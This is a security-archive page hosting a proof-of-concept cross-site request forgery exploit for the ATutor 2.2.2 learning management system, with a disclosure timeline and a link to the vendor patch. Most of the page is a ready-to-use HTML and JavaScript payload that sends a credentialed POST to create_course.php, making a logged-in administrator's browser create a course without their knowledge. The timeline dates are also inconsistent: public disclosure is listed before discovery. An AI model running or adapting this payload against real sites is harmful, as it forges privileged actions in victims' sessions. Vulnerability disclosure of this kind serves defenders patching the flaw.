what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ATutor 2.2.2 Cross Site Request Forgery

ATutor 2.2.2 Cross Site Request Forgery
Posted Nov 14, 2016
Authored by Saravana Kumar

ATutor version 2.2.2 cross site request forgery proof of concept that adds a new course.

tags | exploit, proof of concept, csrf
SHA-256 | edeaafd30bd276a781e2af3947baa3ee22af8623bdfa3c720579cc2bc6a1a0ad

ATutor 2.2.2 Cross Site Request Forgery

Change Mirror Download
# Exploit Title: ATutor_2.2.2 Learning Management System 
# Cross-Site Request Forgery (Add New Course)
# Date: 13-11-2016
# Software Link: https://github.com/atutor/ATutor/releases/tag/atutor_2_2_2
# Vendor: http://www.atutor.ca/
# Exploit Author: Saravana Kumar
# Contact: https://facebook.com/06saravanakumar
# Category: webapps
# Version: 2.2.2
# Platform: PHP
# Tested on: [Kali Linux 2.0 | Windows 7]
# Email: 06saravanakumar@gmail.com
# Affected URL:
http://localhost/ATutor/mods/_core/courses/users/create_course.php

==================================
Vulnerability Disclosure Timeline:a"==================================a"2016-11-07: Found the vulnerability and Reported to Vendor.a"2016-11-08: Vendor Replied.a"2016-11-10: Vendor Fixed the vulnerability.a"2016-11-11: Patch releaseda"2016-10-12: Public Disclosure

########################### CSRF PoC ###############################

<html>
<------ CSRF POC ------>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost/ATutor/mods/_core/courses/users/create_course.php", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------34481053430281");
xhr.withCredentials = true;
var body = "-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"form_course\"\r\n" +
"\r\n" +
"true\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" +
"\r\n" +
"819200\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"course\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"old_access\"\r\n" +
"\r\n" +
"protected\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"created_date\"\r\n" +
"\r\n" +
"2016-11-07 06:55:20\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"show_courses\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"current_cat\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"title\"\r\n" +
"\r\n" +
"Programming Language\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"pri_lang\"\r\n" +
"\r\n" +
"en\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"description\"\r\n" +
"\r\n" +
"Python\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"category_parent\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"content_packaging\"\r\n" +
"\r\n" +
"top\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"rss\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"access\"\r\n" +
"\r\n" +
"protected\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"release_date\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"day_release\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"month_release\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"year_release\"\r\n" +
"\r\n" +
"2016\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"hour_release\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"min_release\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"end_date\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"day_end\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"month_end\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"year_end\"\r\n" +
"\r\n" +
"2017\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"hour_end\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"min_end\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"setvisual\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"banner\"\r\n" +
"\r\n" +
"\x3cp\x3eCan fill content what ever you want.\x3c/p\x3e\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"initial_content\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"quota\"\r\n" +
"\r\n" +
"-2\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"filesize\"\r\n" +
"\r\n" +
"-3\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"tracking\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"copyright\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"boolForce\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"icon\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" +
"\r\n" +
"819200\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"customicon\"; filename=\"\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"custOptCount\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"courseId\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------34481053430281\r\n" +
"Content-Disposition: form-data; name=\"submit\"\r\n" +
"\r\n" +
"Save\r\n" +
"-----------------------------34481053430281--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>

---------------------------------------------------------------------------

Solution:

Patch is available. Install patch using the ATutor Patcher.

Link to download patch:

http://update.atutor.ca/patch/2_2_2/2_2_2-6/patch.xml
---------------------------------------------------------------------------
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close